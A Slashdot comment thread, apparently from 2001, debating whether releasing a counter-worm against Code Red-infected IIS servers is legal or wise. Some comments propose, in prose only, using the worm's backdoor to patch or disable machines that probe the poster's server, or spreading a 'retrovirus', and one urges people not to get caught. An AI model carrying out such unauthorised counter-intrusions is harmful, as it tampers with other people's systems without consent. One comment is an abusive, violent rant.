    Note: I posted this one YESTERDAY in the CODE REDUX and you damn moderators wouldnt even give me one damn point. Idiots. I wonder if my karma can slip below -5?

    --
    I love idealists not because I am one, but because they make life bearable for pragmatists such as myself.
  308. What we really should do instead by d00fus · · Score: 1

    We really just need to publicize that it's Microsoft that got us into this mess. Microsoft can and should be cast in a negative light for their slipshod dedication to security. I mean, they knew about the hole they have had lots of major security holes in IIS. They do not have the appropriate attitude about security. They want to maximize profit by not spending developer resource on fixing things and pubs resource on getting the fixes out. In that sense, they are trading the profits and losses of companies using their product, for their own financial gain. (Monopoly behavior?)

    So I say let IT keep fighting the worm and let's help them cry louder and longer about Microsoft to the media and their business executives. With any luck IIS will be tried, convicted and sentenced to death in the court of public opinion and we'll have one less security nightmare.

    1. Re:What we really should do instead by Miss+Congeniality · · Score: 1

      I'm no fan of Microsoft, but
      M$ did not drop the ball this time.
      This was a known vulnerability with
      an existing patch that was includes in
      Windows update.

      Blame neglectful and inexperienced SysAdmins and
      the fools who were hoodwinked into hiring them.
      Blame the poorly managed comapnies that
      undervalue experienced IT workers and sack half
      that dept come lay-off time.

      When an admin is not vigilant about patches and
      auditing no OS is secure.

  309. The Root of the problem by szomb · · Score: 1

    The root of the problem is not the OS (or lack of it ... hehe). The problem is clueless admins. I am at a loss as to just how FUCKING CLUELESS one has to be...forget security mailing lists, forget vendor announcements...this virus has been in the mainstream media for weeks. Anybody who is still vulnerable to this bug should IMNSHO be "Disbarred" from systems administration forever.

    --
    Just because a few of us can read write and do a little math, doesn't mean we deserve to conquer the universe
  310. Can I be the large man? by Anonymous Coward · · Score: 0

    at a cost of $300 per house.

  311. Not necessary, if people would only research by ColGraff · · Score: 3, Insightful

    There are a lot of good legal resources out there, both internet law libraries, the supreme court web site, and actual "meatspace" libraries. If people would just do a little research before posting, we would have a lot fewer "it seems to me that" posts and a lot more informative "if we apply the ruling in blank V blank" posts. I can dream, can't I?

    --
    I'm the stranger...posting to /.
    1. Re:Not necessary, if people would only research by dhd · · Score: 1

      Heh, and by the time you know what you are talking about, the discussion is closed.

    2. Re:Not necessary, if people would only research by chryptic · · Score: 1

      I agree. The only real diference between the layman and the lawer is a little bit of study on a subject. IANAL is realy a very meaningless statement if people do some research they can be on the same level as the lawer. On one narow subject that is.

      --
      The two most common things in the Universe are hydrogen and stupidity. -- Harlan Ellison
  312. This is OLD.... by Lxy · · Score: 2

    I've seen this asked many places already. The long and the short of it is that this tactic is ILLEGAL. You'd be subject to the same punishment as the Code Red authors. Yes, your intentions are good, but you're A) accessing a computer system without consent and B) INSTALLING software without consent. This is no different than me walking into your house at 3 AM to install the IIS patch on your server. It doesn't matter that I had good intentions, I'd be at gun point pretty quick. I'd be charged with unauthorized entry regardless... you didn't invite me, I came in, and refused to leave when you told me to because "the patch wasn't finished upgrading".

    --

    There is no reasonable defense against an idiot with an agenda
    :wq
  313. Do most infected IIS sites also host email? by bear_phillips · · Score: 1

    I know many linux guys have some type of email server running at home. How about on IIS? Would it do any good to send emails to postmaster@xxx.xxx.xxx.cablemodem.com or root@xxx.xxx.xx.cablemodem.com ?

    --
    http://www.windmeadow.com/
    1. Re:Do most infected IIS sites also host email? by J'raxis · · Score: 1
      ...What are the chances that these people check that mailbox?

      (BTW: Does Windows NT install and activate IIS by default? About 90% of the scans I got from *.mediaone.net hosts all had "under construction" pages up as if they didn't even know it was there. That would explain a lot.)

  314. Good Samaritan laws? by TheFlu · · Score: 2
    I know several states have laws that afford some level of immunity to people who have the intention of helping others (more info here). These laws usually deal with physical actions, such as performing CPR on someone, trying to save someone from a fire, etc...

    In a sense, "white hats" are merely Good Samaritans themselves. Perhaps new laws should be passed to cover the actions of Good Samaritans whose intent is to help others online.

  315. Addendum by Scoria · · Score: 1

    I believe that the United States FBI

    I know there are 'computer intrusion laws' in the United States. However, this kind of thing is in an ever so slightly grey area, and the FBI (I believe) has stated before it is still an unauthorized intrusion.

    Wish I had a link to give you guys. Oh well.

    --
    Do you like German cars?
  316. This has already been addressed. by Anonymous Coward · · Score: 0

    We seem to be forgetting the fact that a similar "inoculant" was released once to repair a similar problem. The guy that released it was jailed, not because he released a "repair" type virus, but because the repair worm left a back door for him on the people's server....If the worm in question had NOT installed a back door, but had simply installed a fix and then looked for more code red servers before erasing itself, would that be legal? Interesting question.

  317. Re:Its entirely possible by jgerman · · Score: 5, Informative
    It's not necessarily true that an American citizen can respond with deadly force to criminal trespass. That varies state by state. Here, in MD, for example, if someone breaks into your home and threatens you, you must make every effort to vacate the home. You can not just shoot him for trespassing, breaking and entering, or anything else.

    Guees that means if my machine gets hacked here I have to give it over to whomever hacked it.

    --
    I'm the big fish in the big pond bitch.
  318. What if you screw up? by r_j_prahad · · Score: 2
    What if your beneficial virus has a coding flaw that you didn't catch when you were testing it? And it streams across the net and takes down thousands of websites unintentionally?

    I can tell you what'll happen; your wardrobe the next day will be an orange jumpsuit and shower shoes.

  319. Re:Its entirely possible by Anonymous Coward · · Score: 0

    Lawyers are licensed by a state after passing the Bar. However, some state's Bar's are accepted by other'. Basically you'd need a Lawyer from CA or NY. So no, you would not need even 50.

    Furthermore, software liablilty cases are almost always handled at the state level, never below. Counties generally regulate stuff like building codes, water rights. Cities handle crap like parking meter regulations (REALLY interesting crap). It would be interesting to see San Francisco or (more liekly) Alameda County put a ban on Windoze or IIS...

  320. NO such word as virii by Anonymous Coward · · Score: 0

    http://www.dictionary.com/cgi-bin/dict.pl?term=Vir us READ: The plural of Virus is VIRUSES NOT VIRII. REPEAT READ: The plural of Virus is VIRUSES NOT VIRII. PASS ALONG: The plural of Virus is VIRUSES NOT VIRII.

  321. I Said this Yesterday by nicoz · · Score: 0, Offtopic

    I mentioned this yesterday and some ASS HOLE Called me "REDUNDANT REDUNDANT REDUNDANT". Said I should loose Karma. Use whatever it takes!

  322. You'd spawn a war that hasnt escalated so far by SirSlud · · Score: 4, Insightful

    Actually, there's nothing like a challenge to a virus writer .. so I'll bet if you started spreading a good one, you'd just start escalating the war. Sometimes I believe viruses havn't caused major catastrophes yet because we dont fight viruses with viruses. Think of guns .. since we fight guns with guns, it really ends up coming down to who has the most/biggest guns. Do we really want to find out who has the most time and haxoring genius, the black hats or the white hats?

    --
    "Old man yells at systemd"
  323. Re:IIS = Loaded Gun? by Anonymous Coward · · Score: 0

    Of course, you're ignoring the fact that sometimes people need to be killed. For example, if someone enters my home at night without my permission, according to the law I can use deadly force to stop them. And I will. Say hello to Mr. 9mm!

  324. words of warning... by gnurd · · Score: 1
    He who fights with monsters might take care lest he thereby become a monster. -- Neitzsche

    'nuff said.

    --
    "i was saying gnu-rd"
  325. That's the worst idea I've ever heard by ChrisDolan · · Score: 1

    Anyone who uses a script like that is crazy. Next there will be a Code Red III which spoofs the originating IP and then your perl script becomes an unwitting part of a distributed DOS attack... Then YOU go to jail instead of the Code Red author.

  326. New acronym... by ralmeida · · Score: 1
    IASOL

    (I am Slashdot's official lawyer)

    --
    This space left intentionally blank.
  327. IT Darwinism by zothorn · · Score: 1

    Just fire whoever is neglecting their servers.
    But a lot of it boils down to the typical mentality of the admins.

    Typical NT admin: "If their not a member of the admin group.. Then we're safe."
    Typical Unix admin: "We're never safe, but we try our hardest every day."

    1. Re:IT Darwinism by zothorn · · Score: 1

      Exactly. I started to take MCSE classes and then quit when I found out that my instructor knew less than I did. (He was a Microsoft employee!) and he worked in the MS IIS and Frontpage support group. Later I got a job doing NT support at a large Pharmaceutical company and they said that the fact that I was not an MCSE was a plus. Because all my claims on my resume meant I had hands on business experience. My website for example I wanted to be as low maintanence as possible, so I chose OpenBSD and Apache running on Sparc. So even if somoene managed to upload a precompiled program and tried to run it, it wouldn't because they probably used an i386 version. It irritates me to see my logs fill up with get default.ida NNNNNNNNNNN but I know that I could leave this server for 3 months and come back with nothing out of the ordinary.

    2. Re:IT Darwinism by Miss+Congeniality · · Score: 1

      >the fact that I was not an MCSE was a plus

      My friend is a Win Admin and he has had the
      opposite experience.

      MCSE == "Get Rich Quick" where I am (NYC area)
      and the job market is glutted with inexperienced
      people eager for a piece of the action. Add this
      to the .com decline around here and it's driven
      the avg. salary down to almost nothing.

      He's got 5+ years of professional experience
      under his belt and gets asked questions like:

      "Do you have at least 10 years experience with
      Windows 2000?" (I swear this is not made up!)

      When he said no and explained why this is impossible they hung up on him. They wanted him
      to have a CCNA, MCSE, be on call 24 hrs and pay him $30,000 for this!

      He was thinking of just caving and getting his
      MCSE, but he's got several years of professional
      experience and a Master's Degree. In my opinion
      it could only tarnish his resume.

      From my personal perspective I am sick to death of
      dealing professionaly with people who know the
      lingo but do not have the skills. (i.e. "Solution Providers", "Infrastructure Architects" , etc)
      I make it a point to tell anyone who throws so
      much empty jargon at me to "bite me".

  328. I say spread em by Atrophis · · Score: 1

    who really cares? i mean, if people keep producing virii/worms and others are make ones that fight them then the this is bound to be a big mess.

    and if it takes a big mess for people to a) get a clue and b) fix their fscking security problems, then maybe this wouldent be such a big problem ever.

    sometimes the best way to take care of a fire is to let it burn its self out.

    --

    i cant seem to come up with a sig.
  329. Well, then, Mr. Chaos-Darwin... by Anonymous Coward · · Score: 0

    Well, if it gets so damn annoying - THEN INSTALL THE FUCKING PATCH! No more viri, no more anti-gen. Or hell, just unplug your blooming network card. (The you'll just have to monitor the airwaves for rouge Bluetooth or WIP messages...)

  330. Re:Its entirely possible by cheshire_cqx · · Score: 1

    Well, that's not exactly right either. Remember, you're talking about laws dealing with *physical* force, not retaliatory/defensive computer intrusions.

    Your scenario would be: Adam breaks into my server, so I go over and shoot Adam, or break his mousing arm with a baseball bat.

    Compare: Adam breaks into my server and steals confidential data. I trace the attack back to Adam, infiltrate his workstation, and perform a destructive format of all of his hard drives.

    IMHO, this latter form of "self help" is more of a grey area, legally. However, it may have negative practical consequences. (Piss off a black-hat subculture and risk annoying attacks from all quarters -- c.f. middle-east style escalation.)

    IMO, an anti-worm worm is possibly illegal, and could lead to lots of civil liability if a bug is present in the code that trashes a server somewhere and they find out you released the anti-worm.

  331. Re:Its entirely possible by VivianC · · Score: 4, Insightful

    IANAL but....

    There is really no single law that covers this so a lawyer would be useless in this case. You could get ten different opinions from five different lawyers and any or all of them could be right. Or wrong. That's what Judges do.

    Now, with the PHP or CGI programs that do something to a computer, it would be a very grey area. After all, the 'attacking' computer is actualy requesting information from your machine. You are simply returning information. Then you can get into the motive of the requestor and the motive of the author and it gets even worse.

    Basically, all a lawyer is going to tell you is his theory of how a set of laws will be interpretted. Only Judges can actualy do the interpretting.

    --
    Viv

    Gmail invites for ip
  332. Same Sides Issue by virg_mattes · · Score: 2

    > Colorado (for positive) and many other states have a "make my day" law.

    This doesn't contradict my original statement. Note that my example describes a breakin when the homeowner isn't home (the MMD law doesn't apply) and that when he/she is, that the burden of proof for threat rests with the homeowner (MMD laws relax that burden considerably, but they do not remove it).

    Virg

  333. net police by SKicker · · Score: 5, Insightful

    If these worms are illegal because they gain unauthorised entry then of course making a 'friendly' virus is illegal because it is doing the same thing.

    Having good intentions is nice but consider this (fictional) scenario: A local cat keeps trying to have 'relations' with my cat and I dont know who the owner is, plus the owner is unaware of their cat's activity. I catch the cat and get it 'fixed' without the owner knowing. When the owner finds out I doubt they or the police would be too pleased about it. Swap 'cat' for 'web server' and you have this code red situation.

    Yes the internet is unpoliced but I dont think the 'Do-Gooder' virus is a very good answer. Internet policing is an interesting new subject but traditional security ideas still apply - the owner of the house is the one responsible for making sure the door is locked. People need to be taught this applies to the internet too.

    (And no jokes about unauthorised entries thank you very much)

    1. Re:net police by WNight · · Score: 2

      Your analogy didn't convince me that anti-worms are bad, rather it convinced me that people who can't take care of themselves or pets should be taken care of in the most expedient fashion.

      I will consider vigilante-spaying the next time one of my neighbors has a cat which is in heat and past it's first heat (which you're not supposed to spay a cat before). It'd be well worth the $40 to get a night of sleep, and I am a firm supporter of spaying/neutering all your pets anyways. Always pisses me off when people don't and contibute to the problem of unwanted animals.

  334. White hat = original Code Red by drc500free · · Score: 1

    What makes this different from the FIRST code red worm? You want to create something that is just as infectuous. However much bandwidth Code Red 1 chewed, this would chew just as much. Granted, code red didn't take up all that much, but we have to think of ALL of the consequences of releasing a worm just because WE think it is a good idea.

  335. "Not getting sued" by catfood · · Score: 1
    This is wonderful advice, so long as your morality system can be summed up as "don't get sued".

    Why yes, part of my morality system is "don't get sued." It comes from the part that says "don't bounce your checks" and "don't get your house foreclosed on."

    Ask your lawyer the same question about an injured person lying in the street. If you do nothing, they can't sue you right? but if try to help them, you might actually injure them and they'll sue you. Does this mean the RIGHT action is to do nothing? No. It means the legal system is fucked.

    Actually, I really and truly did ask my lawyer something similar to that, in a systems support sense.

    His reply amounted to this, which is blah blah not legal advice don't listen to me disclaimer yadda yadda. There are circumstances where you have a duty to say or do something. Those cases are usually pretty obvious, such as when your client, to whom you have a duty because you're their rented admin, is about to lose important data. Or when you find a stranger lying in the street. Or when you find a lost child and nobody else is around to help. Etc., etc.

    In those cases you may be liable if you don't react in a responsible way.

    Observing a Code Red infestation isn't one of those cases. If you just put up your shields you've done enough. If you choose to send a short, polite email to affected sites, that is probably a good thing. A phone call might be even better.

    But that's another angle, similar to how self-defense is applied. If you can defend your network adequately by proper configuration and perhaps notifying or firewalling away the attacking sites, then your claim to "self-defense" (which is really not called self-defense in a legal context, more like "abatement of a nuisance" or "mitigating losses") becomes much, much weaker.

    Yet again, I'm not a lawyer, this is not legal advice, don't listen to me if this is important to you, this is all just for discussion. But long story short, the stranger lying injured in the street creates a duty on your part in many circumstances. Stranger with Code Red infestation probably does not create a duty, only a liability risk if you take it upon yourself to "fix" it.

  336. Two different things... by Anonymous Coward · · Score: 0

    I think people are proposing and talking about two different solutions here: 1. Have another anti-Code Red worm, where code is uploaded to an infected machine, and then the previously infected machine then runs the anti-Code Red worm too, and then actively scans for more infected hosts to pass the 'cure' on to. IMHO, this is probably a bad idea. 2. Make a script on a webserver named default.ida that sends the appropriate commands to the backdoor on CR2 infected machines to download and install the patch. The script merely waits for connections to the webserver it's on, and doesn't propogate itself to other machines. IANAL, but to me, this would seem to be on better (but not necessarily solid) legal ground, as you were merely responding to a request the infected machine sent you, instead of actively searching for infected machines, and uploading yet another worm to them.

  337. Another option by Derkec · · Score: 1

    What if instead of releasing a virus, you made a program which waited for probes from infected machines and responded to those probes by exploiting the hole to close the hole?

  338. It's not breaking and entering... by dankjones · · Score: 1
    A:Yes, it would be illegal.
    B:Don't get caught.
    C:It's not breaking and entering if the door is standing wide open.

  339. Re:Its entirely possible by Hittman · · Score: 1

    You'll find plenty of cases where a criminal harmed by a victim who was protecting himself has successfully sued for damages.

    Which is an excellent justification for killing him, rather than just hurting him.

  340. Bruce Schneier Has Already Talked Of This... by zonker · · Score: 0

    In this article he wrote for ZDnet, Bruce Schneier (of counterpane.com and author of applied cryptography and countless security whitepapers) has talked about this in good detail here: ZDNet Article.

  341. Re:Its entirely possible by Anonymous Coward · · Score: 1, Insightful
    /* If someone is breaking into your house to use your coffee maker, are you allowed to kick down their door and throw away all their coffee? */

    If the bastard is in *your* house, it really doesn't matter *why* he's there. You don't know for sure why he's there, all you know is he broke in your house. That's why if someone breaks into your house and you blast him, it's generally held as self-defence.

    Yeah, but you missed the point. Sure it's probably kosher to defend yourself against a stranger who's broken into your house by attacking him. What would not be kosher is to go to his house, break in, and throw away his coffee.

  342. That's a illegal law. by DaLinuxFreak · · Score: 0

    States are not allowed to make laws that contradict the constitution. Not even the US supreme court is allowed to. Under the constitution, you as a US citizen are allowed to bare arms, meaning getting a concealed weapons permit is also null and void. If someone breaks into your house you can shoot them and have the US constitution back you up, but it still won't help you until a really high appeal ;-)

    There's so many people who don't care about their constitutional rights getting blatently stolen from them.

  343. Re:IIS = Loaded Gun? by Anonymous Coward · · Score: 1, Insightful
    It's fun!

    Fun with guns is unnecessary. Guns kill people and should be banned no matter how "fun" they are.

  344. How about using an 'agent' type framework? by qwaszx · · Score: 1

    Instead of having this counter-virus/worm attack the computer, have each computer (possibly as part of an anti-virus package, or windows itself (or installed with every linux distro)) contain a framework which allowed limited access to a computer by counter-viruses/worms voluntarily, and with safeguards to prevent abuse and overuse of bandwidth/resources etc..

    Of course, there would be problems getting everyone to install the agent host, but if such an idea became accepted, then each counter-virus would run in a sandbox and be prevented from doing harm (set by the user).

  345. Re:Its entirely possible by GreyyGuy · · Score: 1

    Instead of releasing such a virus, what about just running it on your own machine(s)? Everytime your machine gets probed and attempts to infect, it just turns around and does the same thing to the orginating machine. That way you are not doing anything that wasn't done to you, and you are patching a known infected machine, not clean ones.

    I wouldn't think they would have a good case for you intruding/hacking since they did it to you first. Just keep the logs of the event to CYA.

  346. Re:As I ger seriously annoyed - think again by jeffc128ca · · Score: 1

    Think again. It would be nice if that's the way the world worked but it doesn't. Legaly you can't tamper with a network or system without the ownwers permission. No matter how benevolant the creater the companies lawyers will go after you no matter how honest your intentions are. You messed with our systems and it's off to court you go. There have been a few court cases regarding this all ready. The one I rember was in Nevada (i think) where an IT person fixed something on a clients computer that was out of scope to his work there. The client company sued and won.

    There are also lots of "cease and dissist letter" stories from anyone trying to be helpfull and informing companies of holes in there networks.

  347. They already thought of that and decided not to by polyphemus · · Score: 1

    http://www.pbs.org/cringely/pulpit/pulpit20010730. html Bob Cringely has already discussed this, and said that the government decided not to do this, because it made them seem too much like the bad guys. However, an enterprising, altruistic computer programmer might be able to do what the feds were afraid to do. And even if a mistake is made and a second "red alert" worm is created, big deal! 2 won't do any more damage than just the 1.

  348. ISP Scans by rlp · · Score: 1

    My cable modem is currently blinking furiously as infected "Code Red" hosts scan it. Being constantly scanned by hosts infected with a "good" worm would definitely not be an improvement. What I'd like to see, if ISP's scanning their customers machines for known vulnerabilities and then sending the customer an E-mail with fix (patch) info. A periodic scan from an ISP would be useful, a DoS attack from a "good" worm is not.

    --
    [Insert pithy quote here]
  349. plural of virus by suprslackr420 · · Score: 1

    I can feel the flames licking my toes as I write this. Virus is a Latin word, the plural of which is viruses. I know virii seems to be the word of choice among most geeks, but I had to get this off my chest. The biological word uses the correct terminology, why can't we?

    --
    ubi dubium ibi libertas.
    1. Re:plural of virus by J'raxis · · Score: 2

      Depending on what declension it is (I haven't dealt with Latin in a long time), wouldn't the plural either be virî (one I) or virûs in Latin? I seem to remember that there are a few strange (fifth declension?) -us words that are pluralized with -ûs.

  350. Re:Its entirely possible by Anonymous Coward · · Score: 0

    Um..no. The critical point here is that the gun is brandished. You have a right to disarm or attack someone actively pointing a gun at you, not one who merely owns a gun that could be potentially pointed at you. This applies to the code red situation if a 'self-defense' patch is applied to a computer that scans yours for the vulnerability as opposed to searching for any computer running the virus and applying the patch to it.

  351. Fireman of the Internet? by Anonymous Coward · · Score: 0

    Instead of having vigilanties take the initiative to fight back against Internet Worms, it might be handy to have an international agency who's charge is to take care of these things. For an analogy, consider a fireman. They don't ask politely about breaking down the door and dousing a place in water. If it's on fire and presents a clear and present danger to it's neighbors, then they take care of it. Same with an infected computer on the Internet.

  352. Great business plan. by supabeast! · · Score: 2

    Supply programs that do this for all the latest viruses to the IT departments of companies with bad/lazy/not enough sysadmins. Charge them a yearly fee, and just email them a new worm that will go through their network and close all the holes behind itself once a week. Have a client that they can put on their firewall to keep it from escaping to external networks (Or just program it to stay on on local networks.).

    There are companies out there that might actually pay for this.

  353. a way back when this was first talked about by jeffc128ca · · Score: 1

    I remember around 1988 to 90 when I first researched computer viruses they talked about benevolant uses of viruses. Some software companies where looking into using vurises to patch programs and pass on software upgrades without the user having to do anything. It didn't get any further than that if I remember.

  354. What I want to know... by Anonymous Coward · · Score: 0

    ...is when is someone going to write a virus called "Windows is insecure", so that the media can't try to sluff it off as a general security problem of the Internet :-)

  355. Simpler, non-illegal technique to stop code red by btempleton · · Score: 2

    Create a scriptalias on your web server, so that fetches of "default.ida" go to a CGI which responds, very slowly -- just under code red's timeout -- with whatever code red is looking for a the response of a successful penetration.

    I know it creates a lot of threads, but assuming it will tolerate a decent timeout, enough of these would slow it down quite a bit, until it dies from people installing fixes.

    Anybody taken apart the virus to know what timeout to use and what response it's looking for?

    --
    Has it been over a year since you last donated to the Electronic Frontier Foundation
  356. As I ger seriously annoyed by seann · · Score: 0

    with reading all your "This is illegal" non-sense.
    First, if you did write a benificial cure to this virus, many would thank you in return.
    Secondly, Where is the creator of the original virus? And how can I thank him in return? Does anyone have his E-Mail Address? No? Point taken.
    In conclusion: Nobody knows who first spread this virus, so if you spread a purely good virus that patched IIS, restarted the service, and made sure it was not break-in-able to any known Issues, the public would worship this super hero, and as long as the super hero did not take off his mask to unvail his true face (being offered money from companys, gloating rights) He would be safe.

    --
    I'm a big retard who forgot to log out of Slashdot on Mike's computer! LOOK AT ME.
  357. Breaking into a house to install a better deadbolt by Akatosh · · Score: 1

    Its illegal. A lot of the 'damage' done by code red is not direct anyhow. A friendly worm would cause just as many headaches. It would still crash cisco 600 routers, break web proxies, clutter up logs and waste bandwidth. Its fighting fire with fire, the friendly worm would be just as much of a problem as the unfriendly one. The last guy that did it got arrested.

    You also have to consider the implications of rebooting a computer with an unknown function.

  358. Why not fix the problm @ the source? by cnmill · · Score: 1

    Jut write a white hat worm that goes in through the trapdoor and overwrites the OS with your favorite version of linux.

    No more virus problem, right, zealots?

    --
    How sleepless is the egg, knowing that which throws the stone forsees the bone.
  359. What if my 'default.ida' was a program? by mgkimsal2 · · Score: 2, Insightful

    The worm goes after 'default.ida' as I can see. They're trying to execute a program on my system. (default.ida). If my default.ida was actually a script that sent a payload back, and that payload just HAPPENED to be commands to disable their system, what's the harm there? I'm not ACTIVELY exploiting their system. I'm only sending a payload back in response to a request that THEIR system requested. Seems pretty clear cut to me.

    Code red backdoor checker

  360. Re:Its entirely possible by Anonymous Coward · · Score: 0
    Mygod! That's horrible. And decidedly unAmerican. Who the hell passed that law? Washington crys everynight over stuff like that.

    *breaths deeply*

  361. again together by Anonymous Coward · · Score: 0

    So one intrusion is better than the other, I'd take the French over the British? (vice versa, ad naseum ad infinit ?)

  362. Re:Its entirely possible by ashitaka · · Score: 1

    We would need hundreds. 50 wouldn't even cover the U.S. given all the jurisdictions. (Federal, State, County)

    --
    If you don't want to repeat the past, stop living in it.
  363. Re:Its entirely possible by Anonymous Coward · · Score: 0

    This is why I live in Pennsylvania...

    Seriously: Check out the crime stats... It's interesting to correlate when gun legislature is passed with the migration patterns of our criminal elements..

  364. Verizon is going to block port 80? by Anonymous Coward · · Score: 0

    Does anybody else know of this? Bastards

  365. Don't do it by Anonymous Coward · · Score: 0

    The danger is the bandwidth. The damn virus eats our entire FW CPU because it's being inspected by Code Red from Japan, US and a couple of other countries at the same time. If you would do an antivirus with the same method you would cause the same amount of bandwidth, atleast the first week or so. I told my IT chief about that and he did agree in the end but the idea is good though.

  366. IIS = Loaded Gun? by BigBlockMopar · · Score: 1

    Why stop there? Why not sue gun makers cause they make something that is only good for killing people? Oh wait, a bunch of idiots already tried to pull that shit and lost.

    Guns have a lot of benign uses. Ever shot clay pigeons? Ever shoot cans off a fencepost? It's fun!

    IIS, however, has no such benign uses.

    --
    Fire and Meat. Yummy.
    1. Re:IIS = Loaded Gun? by Anonymous Coward · · Score: 0

      IIS, however, has no such benign uses.

      could you have at LEAST hidden your infantile zealotry for at least the 10 seconds that it took you to write this crap. That is exactly the same as saying "Apache has no such benign uses."

      IIS has a lot of benign uses, just like Apache, just like iPlanet, just like Zeus. Apparently this fuckwit has never browsed around the internet looking for pr0n, or never went to a website on how to be a bigger retard than you already are, or better yet never went to a news site that is just for over zealous nerds and tells you bigottry that matters.

      I dislike Microsoft just as much as the next person, but you sir are a fucking moron and should be restricted to posting at -1 which not coincidentally matches your IQ. No, better yet why don't you climb to the top of the office building that you work in and lean way to far off the edge.

      God, Im so pissed off now that I could fucking strangle a fucking poodle and throw it in traffic, except that if I am in California the damn liberals there would just throw me in jail. Now Im pissed off and I don't have any creative outlet other than to take it out on some sorry ass linux zealot. I'd punch you in the face but I don't want your god damn zits to pop all over me thus coating me in layer of thin goo.

    2. Re:IIS = Loaded Gun? by orangesquid · · Score: 1

      IIS has a lot of very important bening uses. It's what you put on your honeypot servers to disguise your real webservers so as to lure DoS attacks towards the IIS machines :)

      --
      --TheOrangeSquid Is it any wonder things seem so awry? We swim in a sea of confusion and don't have to think to survive
  367. Bandwidth Issues by Bozar · · Score: 1

    I don't understand what people are talking about with an increase in bandwidth usage by more worms. More worms does not have to mean more bandwidth used up! Here is a simple layout for an algorithm that would reduce the bandwidth taken up by either code red (sorry i don't know how to program the virus myself, otherwise i would)
    1. Make the retrovirus
    A counter-infected machine should first patch itself and fix the effects of the code red II virus. Then it should kill all code red infections found on the machine. Then the virus should scan other computers randomly for 24 hours, and then remove itself from the computer.
    Why does this reduce the bandwidth? Because the counter infected machine almost certainly has the virus if the retrovirus can come in. Then the retrovirus kills the regular virus, and takes the bandwidth that the old code red was using as its own. Thus there is no increase in usage. But OTOH many machines are infected many times, so it would almost certainly reduce the worm bandwidth usage. Also, a machine that has been counterinfected cannot be counterinfected again, so there is no risk of multiple infections on a counter-infected machine. (BTW one might want to add in that any server that probes the infected machine should also be counter-infected. make the probes from the retrovirus and regular virus look different. then again this is just getting fancy and doesn't need to be added)
    And lets not forget the infection rate. You can expect it to be less than the code red because it cannot have multiple infections on the same machine, but even then it should get hundreds of thousands of machines in a few weeks, certainly. And if these machines are all patched, and after 24 hours the countervirus stops operating on a new machine, then you would have drastic bandwidth reduction. So what do we have?
    First: the bandwidth usage of a counter infected machine is the same or less than that machine infected.
    Second: the bandwidth is less after the machine is 'clean'
    there will be a few machines that are 'innocent bystanders' which will add slightly to the overall bandwidth, but that will most likely not be significant (i have no idea how to calculate this, but i am going on the assumption that the CR virus is already on 95% of machines that it can get on. More than 5% of machines cross-infected is not such a leap of faith, especially when considering the code red 2 virus could be considered a cross infection! By msnbc's stats at least 1/3 of machines infected by CR1 are infected by CR2)
    Finally: initial spread
    You could simply set up a script that would counterinfect a machine if it probed you. Set that up on some regularly probed servers, and once the probes stop your job is done.
    The ONLY issue is the "taking the law into your own hands"
    But as people have said, you can be forced to take medicine if you are a danger to other people(anti-psychotics anyone?), you can be forced to put your dog to sleep if it has rabies. There is a precident for this, but it is carried out by the government.
    The biggest problem with a 'vigilante' approach is that if someone were to do it and get caught, then they would possibly be scapegoated. What we need is for someone in a government agency (FBI, CIA, or NSA to name a few) to do it. Especially those last two.
    Or someone else could just post HOW to do it (as anonymous coward of course) somewhere... and a lot of people on /. could all do it. I mean, a couple hundred. What is uncle sam gunna do, jail a few hundred people for fixing our own infrastructure? If no one goes out and makes it very obvious that they did it, then is the FBI going to go out of their way to catch you?

    --
    Free as in *BUUURP!*
  368. Re:Its entirely possible by Unknown+Bovine+Group · · Score: 1
    This is wonderful advice, so long as your morality system can be summed up as "don't get sued".

    Ask your lawyer the same question about an injured person lying in the street. If you do nothing, they can't sue you right? but if try to help them, you might actually injure them and they'll sue you. Does this mean the RIGHT action is to do nothing? No. It means the legal system is fucked.

    "All that is necessary for the forces of evil to win in the world is for enough good men to do nothing." --Edmund Burke

    --
    m00.
  369. Re:This is a Bad Idea by Anonymous Coward · · Score: 0

    I'm not usually one to spout Libertarian philosophy - but in this case, if somebody wants to leave their box open - through ignorance, laziness, or some other ineffable reason - that is their choice and not the choice of some 15-year old hacker who thinks he'll redeem his l33t friends' images in the media's eyes.

    Actually, it is illegal to intentionally contribute to the spread of a computer worm such as this one. Of course if they found the person who released it, they'd prosecute. Now, they're not going to get the people who haven't patched, because it's not such gross negligence as to be criminal (not to mention it'd be a waste of time). OTOH, if someone actually wanted to leave their box open to spread these sorts of things, as you suggest, they could likely be prosecuted.

    So, sure, you still can't take the law into your own hands. OTOH, in this case it becomes the feds' choice.

  370. Re:Take it one step futher... by sommere · · Score: 1

    this is fine, except that you then have done all the hard work for making a quieter (because it only attacks infected servers) even more harmfull worm. Say one that overwrites the partition table on the anniversary of the DMCA being passed :)

  371. Whoa... by Dfiant · · Score: 1

    I had the exact same idea yesterday while talking to a friend. I dismissed it because I'd probably be jailed for DMCA violation (copying a buffer overflow mechanism), "damages" (down time for server restarts), and being a "hacker". ;-)

  372. Re:Why do favors? by haruharaharu · · Score: 1

    If I install Win2K or NT on a box connected to the net right now, there is a high probability I will be infected before I can even apply the patch. That's a fact.

    Tha's why you don't connect a machine externally until you've patched it.

    --
    Reboot macht Frei.
  373. Let Security Focus take care of it by Anonymous Coward · · Score: 0

    I know that even if I got on a windows box, I don't think that I could work it. But here is an Apache module I saw on the mod_perl mailing list that will report the Code Red worm to Security Focus, and try to email the admin of the infected box.

  374. Re:Cure as bad as the disease? by Anonymous Coward · · Score: 0

    Off-topic self-response:

    Look, I don't want to fault the Gates' philanthropy per se, I just wonder what strings are attached. I'm a Unix-head pretty much, and I learned Unix on a 4.2 BSD Vax. Good move for Digital to play to the edu market, but it meant I didn't get to learn anything about DNOS on the TI 990/12 that the school actually ran on. So I tend to blame Digital as much as MS, IBM, or anybody else that there never was a 32 or 64-bit version of the TMS99000 processor to port Linux to. Discounting the Sparc, which is sort of half 9900.

    I've seen some of the new CS buildings in my state. All windows boxes. Gone are the Vazen, of course, and the TI's, even the S1500's, but also no more HP 9000's, SGI's, Suns, IBM medium and big iron, etc. Don't see any Alphas. Or even any Macs. Very, very monoculture. Impresses the rubes, maybe, but the experienced eye will see that either the business dept. has taken over completely, or the academics have completely abdicated. Not very reassuring, and it goes way beyond the computers.

    Yes, even Linux and BSD users are vulnerable to worm attacks if they don't stay on guard, and, despite a comment I made the other day about lusers who happened to be running W2K, you can secure IIS like any other server. It's just more difficult and expensive than with free software. Plus the knowledge will be totally obsolete inside of 6 months. Yeah, that $2000 MCSE training course was WELL worth the money.

